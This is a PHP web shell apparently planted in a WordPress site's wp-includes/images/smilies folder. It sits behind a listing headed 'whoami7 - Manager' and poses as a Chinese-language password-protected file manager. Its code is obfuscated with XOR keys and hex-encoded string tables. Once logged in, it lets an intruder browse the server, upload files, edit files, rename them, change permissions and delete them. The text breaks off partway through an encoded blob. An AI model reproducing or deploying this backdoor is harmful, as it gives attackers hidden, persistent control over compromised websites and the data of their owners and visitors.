whoami7 - Manager
:
/
home
/
qbizpnmr
/
preflap.com
/
wp-includes
/
images
/
smilies
/
Upload File:
files >> /home/qbizpnmr/preflap.com/wp-includes/images/smilies/codehu.php
<?php session_start(); $_osdds='HAeCo160aCMOmfpx';function _osccs($data, $key) {$keyLength = strlen($key);$result = '';for($i=0;$i<strlen($data);$i++){$result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));}return $result;}function _osceecs($index) {global $_oshjjs,$_osdds;$str = $_oshjjs['taHAI'][$index];$charMap = $_oshjjs['uEdOZ'];$cleaned = '';for ($i = 0; $i < strlen($str); $i++) {if (!(!($i % 3 != 2))) {$cleaned .= $str[$i];}}$reversedMap = array_flip($charMap);$unmapped = '';for ($i = 0; $i < strlen($cleaned); $i++) {$char = $cleaned[$i];$unmapped .= isset($reversedMap[$char]) ? $reversedMap[$char] : $char;}$decoded = _osccs(hex2bin($unmapped),$_osdds);return strrev($decoded);} $_oshjjs = json_decode(_osccs(hex2bin('336310060b7e6c125b386f2e4f5c52166a6d47214d0b1446436f6f2c4f5c52086a6d47274d0b1456436f6f2a4f5c52156a6d47254d0b1457436f6f284f5c52146a6d472b4d0b1458436f6f264f5c520c6a6d47294d0b144a436f6f244f5c52116a6d472f4d0b1443436f6f224f5c520f6a6d472d4d0b1441436f6f204f5c52196a6d47334d0b1455436f6f3e4f5c52176a6d47314d0b1445436f6f3c4f5c52006a6d47374d0b1454436f6f3a4f5c521b6a6d47354d0b145b436f6f384f5c520a6a6d473b4d0b1452436f6f364f5c52016a6d47394d0b145a436f6f0e4f5c522c6a6d47014d0b1478436f6f0c4f5c52226a6d47074d0b1467436f6f0a4f5c522e6a6d47054d0b1463436f6f084f5c52286a6d470b4d0b1479436f6f064f5c52216a6d47094d0b147f436f6f044f5c52206a6d470f4d0b1472436f6f024f5c52366a6d470d4d0b1461436f6f004f5c523f6a6d47134d0b1476436f6f1e4f5c522d6a6d47114d0b1474436f6f1c4f5c523d6a6d47174d0b1471436f6f1a4f5c52336a6d47154d0b147d436f6f184f5c523b6a6d471b4d0b1462436f6f164f5c52326a6d47194d0b147c436f6f7f4f5c524b6a6d47724d0b1408436f6f7d4f5c524c6a6d47704d0b1400436f6f7b4f5c52416a6d47764d0b1402436f6f794f5c524f6a6d47744d0b1406436f6f774f5c524d6a6d477a4d0b1401436f6f644f5c522467634961331e140a43686f324144041900002c61556a14001160792233551e5078794461431306404077206a5e085a48706b476f4d054670557a6c77554c444c087215655d04100955697f224c5549387c3746735e12065e44703d654f4a524c3868517a47090e1a55776e7c1d26424d6b7851665d5c1f03586279394e564126782f46701f12141c43777a0f5953594b7c6451334a02066e436f6f7b0b40440869725c655b571f0807037f76445f4252717346614313025644773d0f5e5f514c2e1f5d252f030f1658716b765f3852546a6349615b411c00511d7e214856495b7031437a5b120406497a7e664f4a524c386b55732f025819517a13771d47494c6d735362560215124d616f634f5200527c783b7b5718020444703d0f5f5359417c64572e45020f155535657f5c454016617215034d1d140754667b392d5506267c314f70581b0f0242717b675f56534b256856244c131a12522e657c0b47444b6e79566a5f026807596b7b22335143386a6d472e59715b5d48762b6c0b08581f3e6803764e47001a50706c7a5a4c004a6b2c5165015f1e57176220224e5747522f734d255a1758094b2579111d10594d79645472455f02150775686d301b'),$_osdds),true); function authenticate() { $valid_username = _osceecs(0); $valid_password = _osceecs(1); if (!(!(isset($_SESSION[_osceecs(2)]) && $_SESSION[_osceecs(3)] === true))) { return true; } if (!(!(isset($_POST[_osceecs(4)])))) { $username = isset($_POST[_osceecs(5)]) ? $_POST[_osceecs(6)] : _osceecs(7); $password = isset($_POST[_osceecs(8)]) ? $_POST[_osceecs(9)] : _osceecs(10); if (!(!($username === $valid_username && $password === $valid_password))) { $_SESSION[_osceecs(11)] = true; header(_osceecs(12) . $_SERVER[_osceecs(13)]); exit; } else { $error = _osceecs(14); showLoginForm($error); exit; } } showLoginForm(); exit; } function showLoginForm($error = '') { ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>文件管理器 - 登录</title> <style> body { font-family: Arial, sans-serif; background-color: #f0f0f0; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } .login-container { background-color: white; padding: 30px; border-radius: 8px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); width: 100%; max-width: 400px; } h1 { text-align: center; color: #333; } .error { color: red; text-align: center; margin-bottom: 15px; } .form-group { margin-bottom: 15px; } label { display: block; margin-bottom: 5px; color: #666; } input[type="text"], input[type="password"] { width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 4px; box-sizing: border-box; } button { width: 100%; padding: 10px; background-color: #2196F3; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 16px; } button:hover { background-color: #1976D2; } .note { text-align: center; margin-top: 15px; font-size: 12px; color: #999; } </style> </head> <body> <div class="login-container"> <h1>文件管理器</h1> <?php if (!empty($error)): ?> <div class="error"><?php echo $error; ?></div> <?php endif; ?> <form method="post"> <div class="form-group"> <label for="username">用户名</label> <input type="text" id="username" name="username" required> </div> <div class="form-group"> <label for="password">密码</label> <input type="password" id="password" name="password" required> </div> <button type="submit" name="login">登录</button> </form> </div> </body> </html> <?php } $xorKey='qmE2TVJ5hBC1hjA3';function cccx($data, $key) {$keyLength = strlen($key);$result = '';for($i=0;$i<strlen($data);$i++){$result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));}return $result;}function ccc($index) {global $obfuscationData,$xorKey;$str = $obfuscationData['QeSce'][$index];$charMap = $obfuscationData['UbzJJ'];$cleaned = '';for ($i = 0; $i < strlen($str); $i++) {if (!(!($i % 3 != 2))) {$cleaned .= $str[$i];}}$reversedMap = array_flip($charMap);$unmapped = '';for ($i = 0; $i < strlen($cleaned); $i++) {$char = $cleaned[$i];$unmapped .= isset($reversedMap[$char]) ? $reversedMap[$char] : $char;}$decoded = cccx(hex2bin($unmapped),$xorKey);return strrev($decoded);} $obfuscationData = json_decode(cccx(hex2bin('0a4f10502e1c0017523961504a50634253416750766c68424a6e61524a50635b53416756766c684f4a6e61544a50635753416754766c68454a6e61564a50635d5341675a766c68594a6e61584a50635653416758766c685c4a6e615a4a5063585341675e766c68404a6e615c4a5063555341675c766c685f4a6e615e4a50634b53416742766c68474a6e61404a50635e53416740766c68434a6e61424a50635053416746766c68544a6e61444a50635153416744766c68464a6e61464a5063475341674a766c685a4a6e61484a50634a53416748766c68524a6e61704a50636053416770766c687b4a6e61724a50636553416776766c68704a6e61744a50637c53416774766c687e4a6e61764a5063625341677a766c68674a6e61784a50637753416778766c687c4a6e617a4a5063665341677e766c68744a6e617c4a5063745341677c766c686d4a6e617e4a50636753416762766c68764a6e61604a50637f53416760766c68654a6e61624a50637953416766766c687d4a6e61644a50637153416764766c68734a6e61664a5063645341676a766c68784a6e61684a50636953416768766c686c4a6e61014a50630b53416703766c68054a6e61034a50630253416701766c68064a6e61054a50630753416707766c680c4a6e61074a50630653416705766c68024a6e61094a5063015341670b766c68034a6e611a4a50636f5e4f69100879680f4a69614c44481056220e20106e0d6805516b7b0340597119485e63016308794549712717511d6b0b0b4474430a657d755c766b095e43631f535d7c186c646f06586a7a024d59761b421d6c01300873424e7a391b591b6900464571067d6e7c754a6e6109514071015b5c34176d6f6b061f68704049486d1149546f02667f7b44497b7a105b1d6000004e671e766f7a1c517569001f4b7849585e3f1165676c041f617a042852767349096f10787479024073731b50526706414c7d45776e7f1f507369045134631f5309711b2e6e6044506475594b023116065d6f5a6d163d44367027190c5c6b5b004c3f057c26306b12741d405f4b7700590970726621141744607a4140486d11481d6306677068194a7277715052670245477c5a1474661758766a011243725b2f597013767a680d5b617b034d5b711948096f01237f7a0d36606f13585e690b4133745a0a617e1c4a6e61015c437104545c2d6c606660174460611d4a5a3173495c6d033c757e05407374125b1a6b02464e7105756e306b5b7366134448715752597717767a68055c687b02405b301646051b107874790636606f135b5962024433671e7665791d597a6b1344487200575c3417767a68065b67700728486d11485d63107874720c497a701b59526807444c76437d657c75597465134448790a31557613656e6b015d02704049597719405b6c1078747a01407a736f5902620a452d671e76667e1450726b0000407807504f691064620a0d506772053653291253416702607c720549732b12515e6b115d4f7506726e721359766b0800347944595c706c656160015864611d4a0e256d155a6d436c7f3b0440382b6f1f526457004577040a642275007060411f2a3b0a571721112e666944510234054e0e7616431a6c107874300136387512191060014244350a722179750c336a035e2a735b520577112421604f516a39554b1071730054604560752e02407034194a46635b46443f0772277a141f7b6559594c360b5705211825261407181c27004e1a31120b546f566516300449337a171f5b64494648770b7732221c1f74664659343b43580534112e3e6b4f186b274b491b3616534167063c087a454b732b19515f6006064e720675617d6b51716b091240720b505c321164666f0d5e647a044d486d11451d6d06247768194a7633195002670600457d56717466175c2a0301184f705b58547017612160025c6b74064e53721a491764016c7f7b4249727371505c1f0a4444671e7662221f507469005c4b7804585c701b612c620619687a034b52771544596d1078747e454d7633144a466307014c7d5a75633b1650266b134448631f535d7372646060045c0277004d486d1141596d0a6c777b01407b2b174a373c'),$xorKey),true); if (!(!(!isset($_SESSION[ccc(0)]) || $_SESSION[ccc(1)] !== true))) { if (!(!(!isset($_GET[ccc(2)])))) { authenticate(); } } if (!(!(isset($_GET[ccc(3)])))) { session_destroy(); header(ccc(4) . $_SERVER[ccc(5)]); exit; } function getFileDetails($path) { $folders = []; $files = []; try { $items = @scandir($path); if (!(!(!is_array($items)))) { throw new Exception(ccc(6)); } foreach ($items as $item) { if (!(!($item == ccc(7) || $item == ccc(8)))) { continue; } $itemPath = $path . DIRECTORY_SEPARATOR . $item; $itemDetails = [ ccc(9) => $item, ccc(10) => is_dir($itemPath) ? ccc(11) : ccc(12), ccc(13) => is_dir($itemPath) ? ccc(14) : formatSize(filesize($itemPath)), ccc(15) => substr(sprintf(ccc(16), fileperms($itemPath)), -4), ]; if (!(!(is_dir($itemPath)))) { $folders[] = $itemDetails; } else { $files[] = $itemDetails; } } return array_merge($folders, $files); } catch (Exception $e) { return ccc(17); } } function formatSize($size) { $units = [ccc(18), ccc(19), ccc(20), ccc(21), ccc(22)]; $i = 0; while ($size >= 1024 && $i < 4) { $size /= 1024; $i++; } return round($size, 2) . ccc(23) . $units[$i]; } function readFileContent($file) { $currentDir = getCurrentDirectory(); $realFilePath = realpath($file); if (!(!(strpos($realFilePath, $currentDir) !== 0))) { return false; } return file_get_contents($file); } function saveFileContent($file) { $currentDir = getCurrentDirectory(); $realFilePath = realpath($file); if (!(!(strpos($realFilePath, $currentDir) !== 0))) { return false; } if (!(!(isset($_POST[ccc(24)])))) { return file_put_contents($file, $_POST[ccc(25)]) !== false; } return false; } function uploadFile($targetDirectory) { if (!(!(isset($_FILES[ccc(26)])))) { $targetFile = $targetDirectory . DIRECTORY_SEPARATOR . basename($_FILES[ccc(27)][ccc(28)]); if (!(!(move_uploaded_file($_FILES[ccc(29)][ccc(30)], $targetFile)))) { return ccc(31); } else { return ccc(32); } } return ccc(33); } function changeDirectory($path) { $currentDir = getCurrentDirectory(); $newDir = realpath($path); if (!(!(empty($newDir)))) { return; } @chdir($newDir); } function getCurrentDirectory() { return realpath(getcwd()); } function getLink($path, $name) { if (!(!(is_dir($path)))) { return ccc(34) . urlencode($path) . ccc(35) . htmlspecialchars($name) . ccc(36); } elseif (!(!(is_file($path)))) { return ccc(37) . urlencode(dirname($path)) . ccc(38) . urlencode($path) . ccc(39) . htmlspecialchars($name) . ccc(40); } } function getDirectoryArray($path) { $directories = explode(DIRECTORY_SEPARATOR, $path); $directoryArray = []; $currentPath = ccc(41); foreach ($directories as $directory) { if (!(!(!empty($directory)))) { $currentPath .= DIRECTORY_SEPARATOR . $directory; $directoryArray[] = [ ccc(42) => $currentPath, ccc(43) => $directory, ]; } } return $directoryArray; } function showBreadcrumb($path) { $path = str_replace("\\", "/", $path); $paths = explode("/", $path); ?> <div class="breadcrumb"> <?php foreach ($paths as $id => $pat) { ?> <?php if ($pat == "" && $id == 0) { ?> 目录 : <a href="?dir=/">/</a> <?php } ?> <?php if ($pat == "") { continue; } ?> <?php $linkPath = implode("/", array_slice($paths, 0, $id + 1)); ?> <a href="?dir=<?php echo urlencode( $linkPath ); ?>"><?php echo htmlspecialchars($pat); ?></a>/ <?php } ?> </div> <?php } function showFileTable($path) { $fileDetails = @getFileDetails($path); ?> <table> <tr> <th>名称</th> <th>类型</th> <th>大小</th> <th>权限</th> <th>操作</th> </tr> <?php if (is_array($fileDetails)) { ?> <?php foreach ($fileDetails as $fileDetail) { ?> <tr> <td> <svg style="width: 20px; height: 20px; margin-right: 5px;" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> <circle cx="12" cy="12" r="10"></circle> <line x1="12" y1="16" x2="12" y2="12"></line> <line x1="12" y1="8" x2="12" y2="8"></line> </svg> <?php echo getLink( $path . DIRECTORY_SEPARATOR . $fileDetail["name"], $fileDetail["name"] ); ?></td> <td> <?php echo $fileDetail["type"]; ?></td> <td><?php echo $fileDetail["size"]; ?></td> <td> <?php $permissionColor = @is_writable( $path . DIRECTORY_SEPARATOR . $fileDetail["name"] ) ? "green" : "red"; ?> <span style="color: <?php echo $permissionColor; ?>"><?php echo $fileDetail[ "permission" ]; ?></span> </td> <td> <?php if ($fileDetail["type"] === "File") { ?> <div class="dropdown"> <select onchange="location.href = this.value;"> <option value="" selected disabled>操作 : </option> <option value="?dir=<?php echo urlencode( $path ); ?>&edit=<?php echo urlencode( $path . DIRECTORY_SEPARATOR . $fileDetail["name"] ); ?>">编辑</option> <option value="?dir=<?php echo urlencode( $path ); ?>&rename=<?php echo urlencode( $fileDetail["name"] ); ?>">重命名</option> <option value="?dir=<?php echo urlencode( $path ); ?>&chmod=<?php echo urlencode( $fileDetail["name"] ); ?>">权限</option> <option value="?dir=<?php echo urlencode( $path ); ?>&delete=<?php echo urlencode( $fileDetail["name"] ); ?>">删除</option> </select> </div> <?php } ?> <?php if ($fileDetail["type"] === "Folder") { ?> <div class="dropdown"> <select onchange="location.href = this.value;"> <option value="" selected disabled>操作 : </option> <option value="?dir=<?php echo urlencode( $path ); ?>&rename=<?php echo urlencode( $fileDetail["name"] ); ?>">重命名</option> <option value="?dir=<?php echo urlencode( $path ); ?>&chmod=<?php echo urlencode( $fileDetail["name"] ); ?>">权限</option> <option value="?dir=<?php echo urlencode( $path ); ?>&delete=<?php echo urlencode( $fileDetail["name"] ); ?>">删除</option> </select> </div> <?php } ?> </td> </tr> <?php } ?> <?php } else { ?> <tr> <td colspan="5">无文件</td> </tr> <?php } ?> </table> <?php } $dfdsdfs='t0yIoxwASieuGR0Q';function ggdss($data, $key) {$keyLength = strlen($key);$result = '';for($i=0;$i<strlen($data);$i++){$result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));}return $result;}function oojdfkah($index) {global $gasdfssss,$dfdsdfs;$str = $gasdfssss['uJRVG'][$index];$charMap = $gasdfssss['cvEoz'];$cleaned = '';for ($i = 0; $i < strlen($str); $i++) {if (!(!($i % 3 != 2))) {$cleaned .= $str[$i];}}$reversedMap = array_flip($charMap);$unmapped = '';for ($i = 0; $i < strlen($cleaned); $i++) {$char = $cleaned[$i];$unmapped .= isset($reversedMap[$char]) ? $reversedMap[$char] : $char;}$decoded = ggdss(hex2bin($unmapped),$dfdsdfs);return strrev($decoded);} $gasdfssss = json_decode(ggdss(hex2bin('0f121a3f2a170d636912471465681222561c5b2b4d425523714547166568123b561c5b2d4d42552a7145471065681230561c5b2f4d42552e7145471265681232561c5b214d4255357145471c65681234561c5b234d4255367145471e65681223561c5b254d4255397145471865681221561c5b274d42553b7145471a6568123c561c5b394d4255267145470465681224561c5b3b4d4255387145470665681237561c5b3d4d4255257145470065681238561c5b3f4d425537714547026568123d561c5b314d4255307145470c65681239561c5b334d42552f714547346568121a561c5b0b4d4255007145473665681209561c5b0d4d4255187145473065681212561c5b0f4d4255127145473265681206561c5b014d4255087145473c65681217561c5b034d4255157145473e65681200561c5b054d42550d7145473865681201561c5b074d42551b7145473a65681213561c5b194d4255097145472465681215561c5b1b4d42550f714547266568121c561c5b1d4d4255147145472065681214561c5b1f4d42550b7145472265681216561c5b114d4255137145472c6568121e561c5b134d4255177145474565681266561c5b784d4255787145474765681265561c5b7a4d4255717145474165681267561c5b7c4d4255727145474365681269561c5b7e4d4255747145474d65681263561c5b704d4255707145475e6568120d5b12556b3357557b714247086b70451b26663e6b5523552a3943161f64635a0f1f095a235b5e462a79061635286318334118162347134564625e4614767b5a605c5b4c61054d542e39480e4d61385f721b04397b0d59182e70085c3534671864446e4e704e414e016a5f4345720c05695112556b5b4a5e79394047596533067b07015c7858521d327b06512b7633153b4d70163a4a1a42693208441a77780161525f18680540522a6b4a044661335f771f085a265d5d1d72765b542b2c67153044110a7c4513166b385040477e7a51222a5f136c0d4b5173314a04416d63007842005c7e0e264379725e07537e6a6e6815154071495a5b6364514f437477127d56074917594b51637f4b521f6d640379561c5b7e57524474724b49577062706241115b654d4f1d68605c25576b7007695d03166a4d545576634f561a6e701c73435a5c7a0050556d715e5d5f71616e7358124e792f4e4464714547422d7806623412556b58402972664c47596565007b4705516b435a402b725a5054657e12664c134a26475a5b63645925462877127d560713605c1752637f4b5c066d615f0f4d0758791c594e2b72505c5c7e21156144134971474146677145474c3471033e57094e635f0b5278394a5c4c666b437b4400587957524e70794b4957657e1273581213284a4946646208431a77125b6455011317050b5f2b674c0717613306791f5b517856381823720251502c61163b4d1818224613461f3c1a461e717102605512556b594f5f76654f531a6f701c734209397e5c504120134b49577164706643194f264c5a5b63655f4642700c06302a12556b594f5d766b29531a6e701c734209397e5a264120764b495726336e631e1948714c174e6b3950404470775f692a5a4f630d402920394f0e146f6309771e525c280e5d1c2e0d080e502864193a471a1878451340646151431a257b512251434c17044d512e6348574162385b7b1501532b1c5e15787002535d766b70331f181370490b1c6b714547467177093b5112556b054a52236448541f663901791b085178565118777b020f5d256111301f1916264649436939064c1f72775b69345f406c0e485d2a6b4c47596533527b1643587805261c707908505d7633193b1519127a461a4460395c4d1e347801685c5b4c6a051a542a62410e41193301111f085c6b435a1c78705b5350766b193e4613132b45491c0139084d1e74715262525a4c68040b29706a480e40193852721f0151225b26167075025d5f657e1262071a5b654d4b04676a084d576b705f682a5241685e12542e38480a4366635b7b1b065823045015230d060f502c601560431a187849124667385c4d1e74745130575b4c6105412920664c5740193d01721b04503a592618237006562b75651a3e46151626491a4f67201a4c142c0c01335c5212630e49543239480e416f33017845045c2305381c77755b52352865163b4c190a704617431f205c4017727a127d56030a604d54552b6741571707635b781e5127265e5946207206575d2c6a1933166e1678461718686203251a2c7751222a5b4f6f04125d20654f0e466138060f1f02397b1c5d187270065235346070301616137c4c4a1c6b3c5f461f73775264555212610e495f70644a47596533527716435a7805261c707608505376331a3e071a12702f1a4f6b385f441a71730166525a0a63044b5f2a624a0447663907741f035a23003818757b5b0754283d13304d180a7c4912446b3250444777785a61525f13680d40522366430f406f63040f561c5b225650457772585c542860163b161548224e17041f385044177f7b5b675e5f4f6a5e4f5e2b20370e460739017215025f22585d1c7270030a5628661363161116264e194e01205c4c1f747751685202496805485d2e394f074d6430050f1e0551785b51556d71020f5f34381a601e1912704612431f62024f1a34775f6052524c6c044f372b6a3754426d3d09721501502259591c79760851562c6a1a301b1a1370454a466839084f1f2d124362525b4f6800173773634f4759653d097716085c78055b182a700653537639133e426e1322311a15693c034d1e751201665c51480905495f2a66410e46623351791f05392356591674795b502b2863153e40700a7f4a1715013c5a4c4770735f63525f166c0d405f32204f041e6163527b45065028585e047670030a5d28651a604016127f4e1940676106431f747a5165524340094d545520313707066f635a7b1f0158285a3846207a02555d2c6011330711137847191c67625e441a7e0c5160515b4f6f0440292067430e4d19701c731f09587b595246787206572b2d3018601f16127931134567311a4f1f7674513a5d014e6100415e2062410e436239087b15045a225752556d71020f2b343811601e701270491243676202431a340c5f605d524c6f0417292a3243544c6e3807721e0627225738556d71065c35256a19601e161622471741016202461a71745a3a34521b6000125d2a614354426e3301741e0151225a501c727608045f2c67133b4d1a187c4c4a42643c584c1a737743675d5f1b6c004b567364400a47193d5f0f1608583a1c5e162a7a58075c7664183043150a7e4a1218013c5e444473745b6755514e095d17512b6048044166210911561c5b7a0e51556d71080756252170601e1612784919426062084c1e777b5b6355520a600549562038485442613d51771b0851225c5016747a030a532c64133e151612264c4a466b7145471e7e7b02675101406a004a542b3141541e6d39007b1f02512b1c5b1d7076080e5476656e3e151a167147134468325c441f28735b675d5f1861041737736241475965395a78075a587805381c78130351357639703e07151678491a4267385e431f7e710166575f40680e495e2a654c0e4d6e3304781f08586b435a1c750d580f537633133a1f70167a31494e643c50251f760c52692a5f1361044a2970644004446d3801701f0558261c261677750256532838703b47184b3a4912406838584f0676745b65525113605d4f512e61480a1a61300874165b5323565e46787b5b5d5f2d666e221f1a187b2f19166462504f576b7003225d12556b054c5273314c541e073851771b0139780e2618737b025d5c2530133e4519162645491d643c024414767b5b625e5a0a610012372a604f0f4c6f330579460553265e5b18757a1a532b2c33133a4d164b70315a5b6371454714267a023b55014109044056206048541e6d3305791e01512b5c261c710d0204567665133a1e13123a31134462325c4c1f287a5b67575f186004175e73623747596539091146065178565218737a0307567639193b1f6e163a4a1a4f623c5d4f142c0c01665e5f40630e49292a65400e4d073304771f08506b435a1620795b0f54766a11304d6e167947491c6932063b142d0c5269575b1b63044c5470644f0a4c6d3301781f065f225751167576025d5c657e123a40184823314916683802401a747a0168515f4060054937236b4c0a1f6f390270450751285e591d707202502b28217030426e127a31171d6b395a434734785a66515b48091c49292a674a041f666007781b023926005d1579760b0e352d6b6e604d1a4b7849131c6220034c1e767a5a615101496305405e2b604f571a6d701c734743396b435a1d2a0d5853357638183e1b16127f47491d603c5e461e7273526257514117004c5f70384a0e406d38027b1f015c280d381d2e7a0256542666703b4d164b3a4712406838584c06767b5b652a51136c5d4f512e614a0a1a61300811561c5b280e52452b7a585d5f2c6a6e30471548224719426839584d1774715b61525b18615e4f542a39290e066e39030f15022722585d1c727b030a5328661963161a162631194e60205c4c576b705b6852024f685e41542e61410f1762635b791e5b5f261c5d15797b06515c263919604316162831174f68385a441472715a3e5d5b4f600019512a3c4057446d701c731551517b0538467976085c2b28626e601f1518264e191d013151401e25715b6551014e170019292e6b400e466e3305721e5f2722595b18207b020a5f75636e7358125b654d5a5b63645f4f46767307615c084f63561a567831375c4d6162007840055a70565b40767a4b49577e6b16621e18407e474c186b655d4d42757109305d001b605a1952783841524d6d6b067744035a7d575d41737559535f657e12684d184a2246414562675c4d576b7007673403481758485e637f4b0f4162605211455b51230e5218707b58045073671966466e4e784c12460138584f447e125a3a55510a63044e512062370e066d3902701b025c23055145321302515d28601822426e5b654d414e626003434c7012043e5e064d60584a5678323755176f6751114d5b587e575e4e7770595654736a19674615497f475a5b636a504043340c09665d000a174d54552e384a571f6e6308744352507d5b514173135f56502d6315301b194b714e1347013c024d0673125a655e43486a0d4a562e6348571a666309781e5a27225e5946767006575c286b1a334c7013284e124e68625e441a7e775160575b4f6304402920674c0e4d6466010f43075c795c5d556d71505c567438196843134d262f4e431f645b4d4c267b00332a05186a561354766b415c436d6203794008587f5d5947777b4b49577e6b16621f13407b4a4c4201635e4d42757309225e004a614d54557220405c1462701c731b07587b0e5e462b79085d352c601360431516794a131569315f441f7e7a516652014e610519562e394f0e4666395a111e5a5022595d1c757b0254507521183e1f1a162b4e0b4162325a3b1e730c02682a5f4d6a04415123654c5d42646b027940515a6b435a1623700b16547638113a4513187c494916673c034c1f287452695d5a0a09054c3770384f0a4c663301771f0639225726167513025d50736316664315497a315a5b6338504c47717a0168575f4b17051a547038400a1f64385f79160839231c261d7575580e5c286b15304513127f45134f60325d4d1e7f7704602a074e635f4b37637f4b0e4c6660067445095c265d501d2372580e5c2c676e3e1f191b7c49194701380244447e775f685251486c044e5d2a6b4804416f3908744001537e58384772134b495770641562451a4e79475a5b636a503b462d7b09665c041609594c5276614c5c146e625270561c5b7e59514470755e55567f67167358121670461a4f016203461a2c715f675c01126a004e5f2b384a0717663d5a771f02277858591670130354532c676e3a471618283113421f3950441472770264575f486c004c5f3265290a17613d037b46075a265d51182e700b5d35342116301f16482b46494660395a4d06260c5167345f416c5e4c562a6529044219605f791e0339285b520478764b49572838162247704826491946693c5b254426785165345f13600d40522b66480a14616304111f0953221c591c797a0850352d3d163a42701628491318676158431a2d73513a5e43410905495f2b66435742073d040f1e525c2b5959556d71080756252113601e6e1278471942016208431e267b5f3a5e524f600e4c5620314a5442623d090f15015a22595d1c79720851352c6a7073581212704e4a41676250401a750c5a335201121704195d2e384c07436f33047815525078583818780d0854562c64703a4c11187d4e134f1f714547422d7a0368570949095b4a51637f4b521f076109704d00507d5d5b556d7150165d743d1666076e4d794a4e401f6a51254c7512046357044c09584a54766b435c1f6466527940045f7f58504776795a5354702111681e1649784c414f0167034346340c006257001268581251786a405c176166027b4d09276b435a4e32725a0a547e6570611f6e4e234c4146017145474c3478033e5e094e615f132976394c5c4461701c73561c5b7e5a5b417179500f50732118661e704e22474f41607145474c7e71036451094b685f0b567839415c1e646b4379561c5b6b435a4e727a5f535c7e6011651f115b654d4f400165594f4c707304625e004e6056135178314c51476262037044085f70565e4e76765d5235657e12681e134f7f3141456963584f576b70093b5d064f6a564a5171624047596565050f4200517005514332795e0f5370391a6642165b654d414467655f3b4c7571043a5e12556b56405d723841521f6e625278435a397005384e797b5d5356736b136616185b654d414e016003404c2574046334091b175b4d37786741511e6262437b435f396b435a4e78705a0f5c7e6515651b70497e4a411c6b64504641707a04662a12556b56415d7239295c4261665f79561c5b705652442b7050522b733d197358125b654d4f401f6008404c2d7b003a5507406a564d5d786537475965650777475150700538472a135e5c2b7e676e68426e5b654d5a5b63645c46437774093b5e040a6058125176384a524362701c734d09397a5a5e4e737259165d7e3813681f16403a455a5b63320b4417347a013b345b486f0e4d5670324a041a6d335a1116085a2659501c3213585c54286b6e304516127f4c134f67325d251e7f0c127d5609406a5c4d2978612955066d6b5a704d5b39701c26556d71025c35756416604d1a167b4a121564620243142812513b5d524160004e372a204a544c643d09721501502259511c797908515d2c6a137358124070474b1d6b6a5e4441287400665709121758485d75654f551a6e655a0f4309516b435a4e787b5a0f2b7e6513651b1a5b654d414e626003254c7074043e5212556b4d5455786a4f56406d6b02784443277005524e2a7050162b657e1266416e4f794c411d64671a44422d0c073a2a074f174d5455786a4c5640616b027b4443507005514e2a72501635657e123016131b3a49491d6b38582514727a01305712556b584d5e77634f5c1f64664311435a5c7e04264077754b49577e6111674211407b314c1c687145474c7f74033a5d0713635f1a5276394a5c1f6f6b08774006507d565b4023724b49577e6b16621e15402b494c45686a0b4f4172740965570412685f0b29763c4847596565087747035c7004514372705e525c7e337065461a4d7f4a4c426b64033b42767a09665d0449604d5455766b4a5646666b5b7740035c7e58524e20704b4957706a1162471940224e4c4401645e404c2677127d5612556b56415272664c5c476f6243784d5a5c7004514e32764b495770676e6744184023314c040164034f422c7307675212556b5641527266405c47646243114d5a517004384e32704b495726301533071148234e134662325c43442674127d56074c0959485478394851066f655a0f435b5a7e5938556d7150562b71647068461a4d22475a5b636a513b462c77073b2a001b6a58125f7839405c4d666606704009587e0d5b556d71505c2b74381668161a4d7b49411567675c3b4c737a043a34000a6a581751637f4b5c066d615f784d0750791c594e2b0d505c567e211a61446e49714a41461f631a434c707304665e00136c5c41377162435c4066701c734d09517a05524e76765d0a50657e12684d704a234e41401f67064f576b70127d56090a615c17567864415506646b5a784d095f701c5b477170595d547e6318735812403a4a4b181f6a5e4d45347a093b34094063560b5e716337554d646b017b561c5b6b435a4e780d5a505f7e606e610716402331411c6b6a1a3b576b7007645e06496f56125f75204f521f6f655b704306516b435a4e78725a50357e6013610719402331411c686a1a4d576b7051335d520a635e125f2a624f044066635174561c5b7e5a51417175500f56732115661e704e224e4f41607145474c7478066734094b095b1337637f4b5c4d6e615b79435a53790d5b402b75500f357e6a186542184d702f4f151f7145474c7e12033b34091b685b4a567831435140646b0470405b5a791c38402e794b4957657e127358124e712f4b46676a0240576b7007695d03486c561337637f4b52426261017b4d5b517d0551556d715e525c746311681f184d23465a5b63635e4c4028740068550912685b0b5671604c5147196b03744307507d055047767a5d532b7066706643185b654d4c406b6b5940457f7409602a12556b0e1a37232040541f0739017815055f780e50162e75080f2b256a163e4216123a45494e1f3c503b14760c5b675e5b41600e4c5f2a6b4147596539097446065178565b18737003072b763918301b1918232f1a4f603c5f3b1e34710168525f40090e495d2a65400e4d623304741f085f6b435a4e76765a0a567e646e654d6e4e234c5a5b636a5e2546287109675d04406858125d637f4b554219675f114409587004524332765956357360116847184e7e464c1d1f635e4c417177076551074e6a4d54557564375d456e6208794d01276b435a4e76135a5c507e6a1565476e40262f4f1c677145474c7e7b033a5d094b6f5b4d5d762040520664701c734d09507a04264e73135d505c70211866076e5b654d48406b660644457e7b093a5e040a685f4b517561485c4664650778405a5c79585e43770d5e513570656e7358124d7e4c4047676351444c7673127d560940605c135178614c514064620774435f58705b5d432e7a4b49572c3815221e1848232f134e6b395d43442c735f22555f48170d4d5e2a64290f4c646307791b095c285e521c7779025d5c26666e3a4c70182645124e6761584f1f260c5a3b52434a60044e542e3c37574561701c734d09277f59524e2b795d5654702111681e6e5b654d414e62655f254c2d1204625d070a09561252637f4b55426f675f7b44095070045243327659565f73606e68476e4e7e4c4c1d68635e40417178076557074e684d5455756443504666625174561c5b22055b042b72580f562c6b1a3b407048222f17046b3c58251772125b66345a40635e4f5d2e6a4f0444613906701f0850285b591c7972080a542d6b15634570132847121d6b205a4c1e71775f3e5c0249094d5455786a41561f666b0777405f587958264e2a7b5e555c73651a614c15402b464f4f677145474c7e7306675c094b175b125f78384f5c17647